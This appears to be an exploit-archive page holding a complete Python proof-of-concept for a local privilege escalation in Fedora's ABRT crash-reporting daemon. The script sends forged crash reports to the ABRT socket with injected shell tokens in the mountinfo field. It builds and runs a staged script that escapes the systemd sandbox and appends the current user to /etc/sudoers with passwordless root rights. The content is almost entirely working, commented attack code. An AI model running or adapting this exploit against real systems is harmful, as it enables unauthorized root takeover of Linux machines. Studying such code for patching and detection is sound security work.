4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / abrt_root.py PY
#!/usr/bin/env python3
"""
abrt_root: local privilege escalation vulnerability in Fedora's ABRT

Research and development by initstring.
"""

import getpass
import socket
import time
import uuid
from pathlib import Path

BANNER = """
####################################################################
abrt_root: local privilege escalation vulnerability in Fedora's ABRT
Research and development by initstring.
####################################################################
"""

SOCKET_PATH = "/var/run/abrt/abrt.socket"
HELPER_SCRIPT_NAME = "final"

RESET_TOKEN = ";:>q;:;:;:;:"
EXEC_TOKEN = ";sh\tq;:;:;:;"
APPEND_TEMPLATE = ";printf\t{char}>>q"

MAX_RETRIES = 10
SLEEP_BETWEEN_TOKENS = 0.5


def build_body(payload: str, reason: str, unique: str) -> bytes:
    pid = str(int(unique[:4], 16) % 30000 + 1).encode()
    cmdline = f"/usr/bin/python3 {unique}".encode()
    container_cmd = f"/usr/bin/docker run test {unique}".encode()
    type_tag = f"Python3-{unique[:6]}".encode()
    fields = [
        (b"type", type_tag),
        (b"reason", reason.encode()),
        (b"pid", pid),
        (b"executable", f"/usr/bin/python3-{unique}".encode()),
        (b"cmdline", cmdline),
        (b"container_cmdline", container_cmd),
        (b"mountinfo", b"74 2 0:36 / / rw,relatime shared:1 - ext4 " + payload.encode() + b"\n"),
        (b"backtrace", f"trace {reason} {unique}".encode()),
        (b"uuid", unique.encode()),
        (b"duphash", unique.encode()),
    ]
    body = bytearray()
    for key, value in fields:
        body += key + b"=" + value + b"\0"
    return bytes(body)


def send_once(payload: str) -> str:
    token = "/docker-" + payload
    unique = uuid.uuid4().hex
    reason = f"auto root {int(time.time())}-{unique[:6]}"
    blob = b"POST / HTTP/1.1\r\n\r\n" + build_body(token, reason, unique)

    with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock:
        sock.connect(SOCKET_PATH)
        sock.sendall(blob)
        sock.shutdown(socket.SHUT_WR)
        reply = sock.recv(4096).decode(errors="ignore").strip()

    return reply or "<no response>"


def send_with_retry(payload: str) -> None:
    for attempt in range(1, MAX_RETRIES + 1):
        reply = send_once(payload)
        # DEBUG
        # print(f"[{payload!r}] attempt {attempt}: {reply}")
        if "201" in reply:
            time.sleep(SLEEP_BETWEEN_TOKENS)
            return
        time.sleep(SLEEP_BETWEEN_TOKENS)
    raise RuntimeError(f"Failed to send payload '{payload}' with HTTP 201")


def token_for_char(ch: str) -> str:
    token = APPEND_TEMPLATE.format(char=ch)
    if len(token) != 12:
        raise ValueError(f"Character {ch!r} produced token length {len(token)}")
    return token


def main() -> None:
    print(BANNER)

    # First we write out the third/final stage to a script in the current working directory.
    # It contains our ultimate goal - escaping the systemd sandbox to write our current
    # low-priv user name to /etc/sudoers to give us root access.
    current_user = getpass.getuser()
    cwd = Path.cwd()
    helper_script_path = cwd / HELPER_SCRIPT_NAME
    helper_script_path.write_text(
        f"systemd-run --pty -- bash -lc \"echo '{current_user} ALL=(ALL)	NOPASSWD: ALL' >> /etc/sudoers\"\n",
        encoding="ascii",
    )
    helper_script_path.chmod(0o755)

    # Next we build the text which will be written to the second stage script.
    # It is meant to call the third stage script. Characters are limited in this second stage
    # script, which is why we can't just list the complex commands from above.
    # The PWD vars you see are not resolved here in the Python script - they are instead
    # resolved when the targeted daemon executes the script. It has `PWD=/` in its context
    # which allows us to write the `/` which otherwise is filtered out during this stage
    # of the attack.
    command = "${PWD}" + "${PWD}".join(helper_script_path.resolve().parts[1:])

    # The reset token just clears the file (/q) where we are writing that second stage to.
    print("[+] Executing stage one...")
    send_with_retry(RESET_TOKEN)

    time.sleep(3)

    # This is stage one of the attack. We have just enough bytes to perfectly inject a
    # command which will append one character to a file. It loops through to write out
    # the second stage script to `/q`
    for index, ch in enumerate(command, 1):
        token = token_for_char(ch)
        # DEBUG
        # print(f"[+] Staging char {index}/{len(command)} -> {token!r}")
        send_with_retry(token)

    # This uses the same 12-byte gadget to execute the stage two script that has
    # now been written to `/q`. That script, in turn, executes the stage three script
    # which has no character limitations and completes the exploit.
    print("[+] Chaining execution of stage two and three...")
    send_with_retry(EXEC_TOKEN)

    print("\n[+] Now you're playing with power.")


if __name__ == "__main__":
    main()